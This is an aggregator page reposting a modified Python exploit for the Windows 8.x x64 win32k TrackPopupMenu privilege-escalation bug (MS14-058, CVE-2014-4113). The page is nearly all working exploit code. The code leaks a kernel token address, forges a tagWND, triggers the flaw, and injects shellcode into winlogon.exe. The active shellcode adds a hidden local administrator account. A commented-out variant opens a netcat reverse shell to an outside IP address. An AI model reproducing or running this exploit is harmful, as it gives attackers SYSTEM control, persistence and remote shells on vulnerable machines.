python * WIP * MS14-058 python脚本的修改版本在这里找到:https://www.exploit-db.com/exploits/37064/

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了python * WIP * MS14-058 python脚本的修改版本在这里找到:https://www.exploit-db.com/exploits/37064/相关的知识,希望对你有一定的参考价值。

#!/usr/bin/env python

# Windows 8.0 - 8.1 x64 TrackPopupMenu Privilege Escalation (MS14-058)
# CVE-2014-4113 Privilege Escalation
# http://www.offensive-security.com
# Thx to Moritz Jodeit for the beautiful writeup
# http://www.exploit-db.com/docs/35152.pdf
# Target OS Windows 8.0 - 8.1 x64
# Author: Matteo Memelli ryujin <at> offensive-security.com

# EDB Note: Swapping the shellcode for a bind or reverse shell will BSOD the machine.

from ctypes import *
from ctypes.wintypes import *
import struct
import sys
import os
import time
import threading
import signal

ULONG_PTR = PVOID = LPVOID
HCURSOR = HICON
PDWORD = POINTER(DWORD)
PQWORD = POINTER(LPVOID)
LRESULT = LPVOID
UCHAR = c_ubyte
QWORD = c_ulonglong
CHAR = c_char
NTSTATUS = DWORD
MIIM_STRING = 0x00000040
MIIM_SUBMENU = 0x00000004
WH_CALLWNDPROC = 0x4
GWLP_WNDPROC = -0x4
NULL = 0x0
SystemExtendedHandleInformation = 64
ObjectDataInformation = 2
STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
STATUS_BUFFER_OVERFLOW = 0x80000005L
STATUS_INVALID_HANDLE = 0xC0000008L
STATUS_BUFFER_TOO_SMALL = 0xC0000023L
STATUS_SUCCESS = 0
TOKEN_ALL_ACCESS = 0xf00ff
DISABLE_MAX_PRIVILEGE = 0x1
FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000
PAGE_EXECUTE_READWRITE = 0x00000040
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM = (0x1000 | 0x2000)
TH32CS_SNAPPROCESS = 0x02

WinFunc1 = WINFUNCTYPE(LPVOID, INT, WPARAM, LPARAM)
WinFunc2 = WINFUNCTYPE(HWND, LPVOID, INT, WPARAM, LPARAM)
WNDPROC = WINFUNCTYPE(LPVOID, HWND, UINT, WPARAM, LPARAM)

bWndProcFlag = False
bHookCallbackFlag = False
EXPLOITED = False
Hmenu01 = Hmenu02 = None

# /*
#  * windows/x64/exec - 275 bytes
#  * http://www.metasploit.com
#  * VERBOSE=false, PrependMigrate=false, EXITFUNC=thread,
#  * CMD=cmd.exe
#  */
# SHELLCODE = (
#     "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51"
#     "\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52"
#     "\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0"
#     "\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed"
#     "\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88"
#     "\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44"
#     "\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
#     "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1"
#     "\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"
#     "\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49"
#     "\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a"
#     "\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
#     "\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
#     "\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
#     "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
#     "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47"
#     "\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65"
#     "\x78\x65\x00"
# )

# /*
#  * windows/x64/exec - 320 bytes
#  * VERBOSE=false, PrependMigrate=false, ESITFUNC=thread,
#  * CMD="c:\users\public\nc.exe -n 10.11.0.95 8443 -e cmd.exe"
#  */
# SHELLCODE = (
#     "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51"
#     "\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52"
#     "\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0"
#     "\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed"
#     "\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88"
#     "\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44"
#     "\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
#     "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1"
#     "\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"
#     "\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49"
#     "\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a"
#     "\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
#     "\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
#     "\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
#     "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
#     "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47"
#     "\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x3a\x5c\x75\x73"
#     "\x65\x72\x73\x5c\x70\x75\x62\x6c\x69\x63\x5c\x6e\x63\x2e\x65\x78"
#     "\x65\x20\x2d\x6e\x20\x31\x30\x2e\x31\x31\x2e\x30\x2e\x39\x35\x20"
#     "\x38\x34\x34\x33\x20\x2d\x65\x20\x63\x6d\x64\x2e\x65\x78\x65\x00"
# )

# /*
#  * windows/x64/exec - 348 bytes
#  * VERBOSE=false, PrependMigrate=false, ESITFUNC=thread,
#  * CMD="net user temp password /add /active:yes; net localgroup administrators temp /add"
#  */
SHELLCODE = (
    "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51"
    "\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52"
    "\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0"
    "\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed"
    "\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88"
    "\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44"
    "\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
    "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1"
    "\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"
    "\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49"
    "\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a"
    "\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
    "\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
    "\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
    "\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
    "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47"
    "\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x65\x74\x20\x75"
    "\x73\x65\x72\x20\x74\x65\x6d\x70\x20\x70\x61\x73\x73\x77\x6f\x72"
    "\x64\x20\x2f\x61\x64\x64\x20\x2f\x61\x63\x74\x69\x76\x65\x3a\x79"
    "\x65\x73\x3b\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f"
    "\x75\x70\x20\x61\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72"
    "\x73\x20\x74\x65\x6d\x70\x20\x2f\x61\x64\x64\x00"
)

class LSA_UNICODE_STRING(Structure):
    """Represent the LSA_UNICODE_STRING on ntdll."""
    _fields_ = [
        ("Length", USHORT),
        ("MaximumLength", USHORT),
        ("Buffer", LPWSTR),
    ]


class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
    """Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll."""
    _fields_ = [
        ("Object", PVOID),
        ("UniqueProcessId", PVOID),
        ("HandleValue", PVOID),
        ("GrantedAccess", ULONG),
        ("CreatorBackTraceIndex", USHORT),
        ("ObjectTypeIndex", USHORT),
        ("HandleAttributes", ULONG),
        ("Reserved", ULONG),
    ]


class SYSTEM_HANDLE_INFORMATION_EX(Structure):
    """Represent the SYSTEM_HANDLE_INFORMATION on ntdll."""
    _fields_ = [
        ("NumberOfHandles", PVOID),
        ("Reserved", PVOID),
        ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),
    ]


class PUBLIC_OBJECT_TYPE_INFORMATION(Structure):
    """Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll."""
    _fields_ = [
        ("Name", LSA_UNICODE_STRING),
        ("Reserved", ULONG * 22),
    ]


class MENUITEMINFO(Structure):
    """Contains information about a menu item."""
    _fields_ = [
        ("cbSize", UINT),
        ("fMask", UINT),
        ("fType", UINT),
        ("fState", UINT),
        ("wID", UINT),
        ("hSubMenu", HMENU),
        ("hbmpChecked", HBITMAP),
        ("hbmpUnchecked", HBITMAP),
        ("dwItemData", ULONG_PTR),
        ("dwTypeData", LPWSTR),
        ("cch", UINT),
        ("hbmpItem", HBITMAP),
    ]


class WNDCLASS(Structure):
    """Contains the window class attributes that are registered by the
       RegisterClass function."""
    _fields_ = [
        ("style", UINT),
        ("lpfnWndProc", WNDPROC),
        ("cbClsExtra", INT),
        ("cbWndExtra", INT),
        ("hInstance", HINSTANCE),
        ("hIcon", HCURSOR),
        ("hCursor", HBITMAP),
        ("hbrBackground", HBRUSH),
        ("lpszMenuName", LPWSTR),
        ("lpszClassName", LPWSTR),
    ]


class PROCESSENTRY32(Structure):
    """Describes an entry from a list of the processes residing in the system
       address space when a snapshot was taken."""
    _fields_ = [('dwSize', DWORD),
                ('cntUsage', DWORD),
                ('th32ProcessID', DWORD),
                ('th32DefaultHeapID', POINTER(ULONG)),
                ('th32ModuleID', DWORD),
                ('cntThreads', DWORD),
                ('th32ParentProcessID', DWORD),
                ('pcPriClassBase', LONG),
                ('dwFlags', DWORD),
                ('szExeFile', CHAR * MAX_PATH)
                ]


user32 = windll.user32
kernel32 = windll.kernel32
ntdll = windll.ntdll
advapi32 = windll.advapi32

user32.PostMessageW.argtypes = [HWND, UINT, WPARAM, LPARAM]
user32.PostMessageW.restype = BOOL
user32.DefWindowProcW.argtypes = [HWND, UINT, WPARAM, LPARAM]
user32.DefWindowProcW.restype = LRESULT
user32.UnhookWindowsHook.argtypes = [DWORD, WinFunc1]
user32.UnhookWindowsHook.restype = BOOL
user32.SetWindowLongPtrW.argtypes = [HWND, DWORD, WinFunc2]
user32.SetWindowLongPtrW.restype = LPVOID
user32.CallNextHookEx.argtypes = [DWORD, DWORD, WPARAM, LPARAM]
user32.CallNextHookEx.restype = LRESULT
user32.RegisterClassW.argtypes = [LPVOID]
user32.RegisterClassW.restype = BOOL
user32.CreateWindowExW.argtypes = [DWORD, LPWSTR, LPWSTR, DWORD,
                                   INT, INT, INT, INT, HWND, HMENU,
                                   HINSTANCE, LPVOID]
user32.CreateWindowExW.restype = HWND
user32.InsertMenuItemW.argtypes = [HMENU, UINT, BOOL, LPVOID]
user32.InsertMenuItemW.restype = BOOL
user32.DestroyMenu.argtypes = [HMENU]
user32.DestroyMenu.restype = BOOL
user32.SetWindowsHookExW.argtypes = [DWORD, WinFunc1, DWORD, DWORD]
user32.SetWindowsHookExW.restype = BOOL
user32.TrackPopupMenu.argtypes = [HMENU, UINT, INT, INT, INT, HWND,
                                  DWORD]
user32.TrackPopupMenu.restype = BOOL
advapi32.OpenProcessToken.argtypes = [HANDLE, DWORD, POINTER(HANDLE)]
advapi32.OpenProcessToken.restype = BOOL
advapi32.CreateRestrictedToken.argtypes = [HANDLE, DWORD, DWORD, DWORD,
                                           DWORD, DWORD, DWORD, DWORD,
                                           POINTER(HANDLE)]
advapi32.CreateRestrictedToken.restype = BOOL
advapi32.AdjustTokenPrivileges.argtypes = [HANDLE, BOOL, DWORD, DWORD,
                                           DWORD, DWORD]
advapi32.AdjustTokenPrivileges.restype = BOOL
advapi32.ImpersonateLoggedOnUser.argtypes = [HANDLE]
advapi32.ImpersonateLoggedOnUser.restype = BOOL
kernel32.GetCurrentProcess.restype = HANDLE
kernel32.WriteProcessMemory.argtypes = [HANDLE, QWORD, LPCSTR, DWORD,
                                        POINTER(LPVOID)]
kernel32.WriteProcessMemory.restype = BOOL
kernel32.OpenProcess.argtypes = [DWORD, BOOL, DWORD]
kernel32.OpenProcess.restype = HANDLE
kernel32.VirtualAllocEx.argtypes = [HANDLE, LPVOID, DWORD, DWORD,
                                    DWORD]
kernel32.VirtualAllocEx.restype = LPVOID
kernel32.CreateRemoteThread.argtypes = [HANDLE, QWORD, UINT, QWORD,
                                        LPVOID, DWORD, POINTER(HANDLE)]
kernel32.CreateRemoteThread.restype = BOOL
kernel32.CreateToolhelp32Snapshot.argtypes = [DWORD, DWORD]
kernel32.CreateToolhelp32Snapshot.restype = HANDLE
kernel32.CloseHandle.argtypes = [HANDLE]
kernel32.CloseHandle.restype = BOOL
kernel32.Process32First.argtypes = [HANDLE, POINTER(PROCESSENTRY32)]
kernel32.Process32First.restype = BOOL
kernel32.Process32Next.argtypes = [HANDLE, POINTER(PROCESSENTRY32)]
kernel32.Process32Next.restype = BOOL
kernel32.GetCurrentThreadId.restype = DWORD
ntdll.NtAllocateVirtualMemory.argtypes = [HANDLE, LPVOID, ULONG, LPVOID,
                                          ULONG, DWORD]
ntdll.NtAllocateVirtualMemory.restype = NTSTATUS
ntdll.NtQueryObject.argtypes = [HANDLE, DWORD,
                                POINTER(PUBLIC_OBJECT_TYPE_INFORMATION),
                                DWORD, DWORD]
ntdll.NtQueryObject.restype = NTSTATUS
ntdll.NtQuerySystemInformation.argtypes = [DWORD,
                                           POINTER(
                                               SYSTEM_HANDLE_INFORMATION_EX),
                                           DWORD, POINTER(DWORD)]
ntdll.NtQuerySystemInformation.restype = NTSTATUS


def log(msg, e=None):
    if e == "e":
        msg = "[!] " + msg
    if e == "d":
        msg = "[*] " + msg
    else:
        msg = "[+] " + msg
    print msg


def getLastError():
    """Format GetLastError"""

    buf = create_string_buffer(2048)
    if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL,
                               kernel32.GetLastError(), 0,
                               buf, sizeof(buf), NULL):
        log(buf.value, "e")
    else:
        log("Unknown Error", "e")


class x_file_handles (Exception):
    pass


def get_type_info(handle):
    """Get the handle type information."""

    public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION()
    size = DWORD(sizeof(public_object_type_information))
    while True:
        result = ntdll.NtQueryObject(handle, ObjectDataInformation,
                                     byref(public_object_type_information), size, 0x0)
        if result == STATUS_SUCCESS:
            return public_object_type_information.Name.Buffer
        elif result == STATUS_INFO_LENGTH_MISMATCH:
            size = DWORD(size.value * 4)
            resize(public_object_type_information, size.value)
        elif result == STATUS_INVALID_HANDLE:
            return "INVALID HANDLE: %s" % hex(handle)
        else:
            raise x_file_handles("NtQueryObject", hex(result))


def get_handles():
    """Return all the open handles in the system"""

    system_handle_information = SYSTEM_HANDLE_INFORMATION_EX()
    size = DWORD(sizeof(system_handle_information))
    while True:
        result = ntdll.NtQuerySystemInformation(
            SystemExtendedHandleInformation,
            byref(system_handle_information),
            size,
            byref(size)
        )
        if result == STATUS_SUCCESS:
            break
        elif result == STATUS_INFO_LENGTH_MISMATCH:
            size = DWORD(size.value * 4)
            resize(system_handle_information, size.value)
        else:
            raise x_file_handles("NtQuerySystemInformation", hex(result))

    pHandles = cast(
        system_handle_information.Handles,
        POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX *
                system_handle_information.NumberOfHandles)
    )
    for handle in pHandles.contents:
        yield handle.UniqueProcessId, handle.HandleValue, handle.Object


def WndProc(hwnd, message, wParam, lParam):
    """Window procedure"""

    global bWndProcFlag
    if message == 289 and not bWndProcFlag:
        bWndProcFlag = True
        user32.PostMessageW(hwnd, 256, 40, 0)
        user32.PostMessageW(hwnd, 256, 39, 0)
        user32.PostMessageW(hwnd, 513, 0, 0)
    return user32.DefWindowProcW(hwnd, message, wParam, lParam)


def hook_callback_one(code, wParam, lParam):
    """Sets a new address for the window procedure"""

    global bHookCallbackFlag
    if ((cast((lParam + sizeof(HANDLE) * 2), PDWORD)).contents).value == 0x1eb and\
            not bHookCallbackFlag:
        bHookCallbackFlag = True
        if user32.UnhookWindowsHook(WH_CALLWNDPROC, CALLBACK01):
            # Sets a new address for the window procedure
            log("Callback triggered!")
            log("Setting the new address for the window procedure...")
            lpPrevWndFunc = user32.SetWindowLongPtrW((cast((lParam + sizeof(HANDLE) * 3), PDWORD).contents).value,
                                                     GWLP_WNDPROC, CALLBACK02)
    return user32.CallNextHookEx(0, code, wParam, lParam)


def hook_callback_two(hWnd, Msg, wParam, lParam):
    """Once called will return the fake tagWND address"""

    global EXPLOITED
    user32.EndMenu()
    EXPLOITED = True
    log("Returning the fake tagWND and overwriting token privileges...")
    return 0x00000000FFFFFFFB


def buildMenuAndTrigger():
    """Create menus and invoke TrackPopupMenu"""

    global Hmenu01, Hmenu02
    log("Creating windows and menus...")
    wndClass = WNDCLASS()
    wndClass.lpfnWndProc = WNDPROC(WndProc)
    wndClass.lpszClassName = u"pwned"
    wndClass.cbClsExtra = wndClass.cbWndExtra = 0

    # Registering Class
    if not user32.RegisterClassW(addressof(wndClass)):
        log("RegisterClassW failed", "e")
        sys.exit()

    # Creating the Window
    hWnd = user32.CreateWindowExW(0, u"pwned", u"pwned", 0, -1, -1, 0,
                                  0, NULL, NULL, NULL, NULL)

    if not hWnd:
        log("CreateWindowExW Failed", "e")
        sys.exit()

    # Creating popup menu
    user32.CreatePopupMenu.restype = HMENU
    Hmenu01 = user32.CreatePopupMenu()
    if not Hmenu01:
        log("CreatePopupMenu failed 0x1", "e")
        sys.exit()
    Hmenu01Info = MENUITEMINFO()
    Hmenu01Info.cbSize = sizeof(MENUITEMINFO)
    Hmenu01Info.fMask = MIIM_STRING

    # Insert first menu
    if not user32.InsertMenuItemW(Hmenu01, 0, True, addressof(Hmenu01Info)):
        log("Error in InsertMenuItema 0x1", "e")
        user32.DestroyMenu(Hmenu01)
        sys.exit()

    # Creating second menu
    Hmenu02 = user32.CreatePopupMenu()
    if not Hmenu02:
        log("CreatePopupMenu failed 0x2", "e")
        sys.exit()
    Hmenu02Info = MENUITEMINFO()
    Hmenu02Info.cbSize = sizeof(MENUITEMINFO)
    Hmenu02Info.fMask = (MIIM_STRING | MIIM_SUBMENU)
    Hmenu02Info.dwTypeData = ""
    Hmenu02Info.cch = 1
    Hmenu02Info.hSubMenu = Hmenu01

    # Insert second menu
    if not user32.InsertMenuItemW(Hmenu02, 0, True, addressof(Hmenu02Info)):
        log("Error in InsertMenuItema 0x2", "e")
        user32.DestroyMenu(Hmenu01)
        user32.DestroyMenu(Hmenu01)
        sys.exit()

    # Set window callback
    tid = kernel32.GetCurrentThreadId()
    if not user32.SetWindowsHookExW(WH_CALLWNDPROC, CALLBACK01, NULL, tid):
        log("Failed SetWindowsHookExA 0x1", "e")
        sys.exit()

    # Crash it!
    log("Invoking TrackPopupMenu...")
    user32.TrackPopupMenu(Hmenu02, 0, -10000, -10000, 0, hWnd, NULL)


def alloctagWND():
    """Allocate a fake tagWND in userspace at address 0x00000000fffffff0"""

    hProcess = HANDLE(kernel32.GetCurrentProcess())
    hToken = HANDLE()
    hRestrictedToken = HANDLE()

    if not advapi32.OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, byref(hToken)):
        log("Could not open current process token", "e")
        getLastError()
        sys.exit()
    if not advapi32.CreateRestrictedToken(hToken, DISABLE_MAX_PRIVILEGE, 0, 0,
                                          0, 0, 0, 0, byref(hRestrictedToken)):
        log("Could not create the restricted token", "e")
        getLastError()
        sys.exit()
    if not advapi32.AdjustTokenPrivileges(hRestrictedToken, 1, NULL, 0,
                                          NULL, NULL):
        log("Could not adjust privileges to the restricted token", "e")
        getLastError()
        sys.exit()

    # Leak Token addresses in kernel space
    log("Leaking token addresses from kernel space...")
    for pid, handle, obj in get_handles():
        if pid == os.getpid() and get_type_info(handle) == "Token":
            if hToken.value == handle:
                log("Current process token address: %x" % obj)
            if hRestrictedToken.value == handle:
                log("Restricted token address: %x" % obj)
                RestrictedToken = obj

    CurrentProcessWin32Process = "\x00" * 8
    # nt!_TOKEN+0x40 Privileges : _SEP_TOKEN_PRIVILEGES
    # +0x3 overwrite Enabled in _SEP_TOKEN_PRIVILEGES, -0x8 ADD RAX,0x8
    TokenAddress = struct.pack("<Q", RestrictedToken + 0x40 + 0x3 - 0x8)
    tagWND = "\x41" * 11 + "\x00\x00\x00\x00" +\
        "\x42" * 0xC + "\xf0\xff\xff\xff\x00\x00\x00\x00" +\
        "\x00" * 8 +\
        "\x43" * 0x145 + CurrentProcessWin32Process + "\x45" * 0x58 +\
        TokenAddress + "\x47" * 0x28
    # Allocate space for the input buffer
    lpBaseAddress = LPVOID(0x00000000fffffff0)
    Zerobits = ULONG(0)
    RegionSize = LPVOID(0x1000)
    written = LPVOID(0)
    dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffffffffffff,
                                             byref(lpBaseAddress),
                                             0x0,
                                             byref(RegionSize),
                                             VIRTUAL_MEM,
                                             PAGE_EXECUTE_READWRITE)
    if dwStatus != STATUS_SUCCESS:
        log("Failed to allocate tagWND object", "e")
        getLastError()
        sys.exit()

    # Copy input buffer to the fake tagWND
    nSize = 0x200
    written = LPVOID(0)
    lpBaseAddress = QWORD(0x00000000fffffff0)
    dwStatus = kernel32.WriteProcessMemory(0xffffffffffffffff,
                                           lpBaseAddress,
                                           tagWND,
                                           nSize,
                                           byref(written))
    if dwStatus == 0:
        log("Failed to copy the input buffer to the tagWND object", "e")
        getLastError()
        sys.exit()

    log("Fake win32k!tagWND allocated, written %d bytes to 0x%x" %
        (written.value, lpBaseAddress.value))
    return hRestrictedToken


def injectShell(hPrivilegedToken):
    """Impersonate privileged token and inject shellcode into winlogon.exe"""

    while not EXPLOITED:
        time.sleep(0.1)
    log("-" * 70)
    log("Impersonating the privileged token...")
    if not advapi32.ImpersonateLoggedOnUser(hPrivilegedToken):
        log("Could not impersonate the privileged token", "e")
        getLastError()
        sys.exit()

    # Get winlogon.exe pid
    pid = getpid("winlogon.exe")

    # Get a handle to the winlogon process we are injecting into
    hProcess = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))

    if not hProcess:
        log("Couldn't acquire a handle to PID: %s" % pid, "e")
        sys.exit()

    log("Obtained handle 0x%x for the winlogon.exe process" % hProcess)

    # Creating shellcode buffer to inject into the host process
    sh = create_string_buffer(SHELLCODE, len(SHELLCODE))
    code_size = len(SHELLCODE)

    # Allocate some space for the shellcode (in the program memory)
    sh_address = kernel32.VirtualAllocEx(hProcess, 0, code_size, VIRTUAL_MEM,
                                         PAGE_EXECUTE_READWRITE)
    if not sh_address:
        log("Could not allocate shellcode in the remote process")
        getLastError()
        sys.exit()

    log("Allocated memory at address 0x%x" % sh_address)

    # Inject shellcode in to winlogon.exe process space
    written = LPVOID(0)
    shellcode = QWORD(sh_address)
    dwStatus = kernel32.WriteProcessMemory(hProcess, shellcode, sh, code_size,
                                           byref(written))
    if not dwStatus:
        log("Could not write shellcode into winlogon.exe", "e")
        getLastError()
        sys.exit()

    log("Injected %d bytes of shellcode to 0x%x" % (written.value, sh_address))

    # Now we create the remote thread and point its entry routine to be head of
    # our shellcode
    thread_id = HANDLE(0)
    if not kernel32.CreateRemoteThread(hProcess, 0, 0, sh_address, 0, 0,
                                       byref(thread_id)):
        log("Failed to inject shellcode into winlogon.exe")
        sys.exit(0)

    log("Remote thread  0x%08x created" % thread_id.value)
    log("Spawning SYSTEM shell...")
    # Kill python process to kill the window and avoid BSODs
    os.kill(os.getpid(), signal.SIGABRT)


def getpid(procname):
    """ Get Process Pid by procname """

    pid = None
    try:
        hProcessSnap = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
        pe32 = PROCESSENTRY32()
        pe32.dwSize = sizeof(PROCESSENTRY32)
        ret = kernel32.Process32First(hProcessSnap, byref(pe32))
        while ret:
            if pe32.szExeFile == LPSTR(procname).value:
                pid = pe32.th32ProcessID
            ret = kernel32.Process32Next(hProcessSnap, byref(pe32))
        kernel32.CloseHandle(hProcessSnap)
    except Exception, e:
        log(str(e), "e")
    if not pid:
        log("Could not find %s PID" % procname)
        sys.exit()
    return pid


CALLBACK01 = WinFunc1(hook_callback_one)
CALLBACK02 = WinFunc2(hook_callback_two)


if __name__ == '__main__':
    log("MS14-058 Privilege Escalation - ryujin <at> offensive-security.com",
        "d")
    # Prepare the battlefield
    hPrivilegedToken = alloctagWND()
    # Start the injection thread
    t1 = threading.Thread(target=injectShell, args=(hPrivilegedToken,))
    t1.daemon = False
    t1.start()
    # Trigger the vuln
    buildMenuAndTrigger()

以上是关于python * WIP * MS14-058 python脚本的修改版本在这里找到:https://www.exploit-db.com/exploits/37064/的主要内容,如果未能解决你的问题,请参考以下文章

python Django到生产调用文件(#WIP)

Cobalt Strike第四篇添加提权脚本

基于当前字段值的MS访问表单组合框行源

Anylogic - 如何在模拟中测量在制品库存 (WIP)

存储后出现的那些“WIP”和“索引”提交是啥?

r12.2.5实例中wip进程接口api耗时太长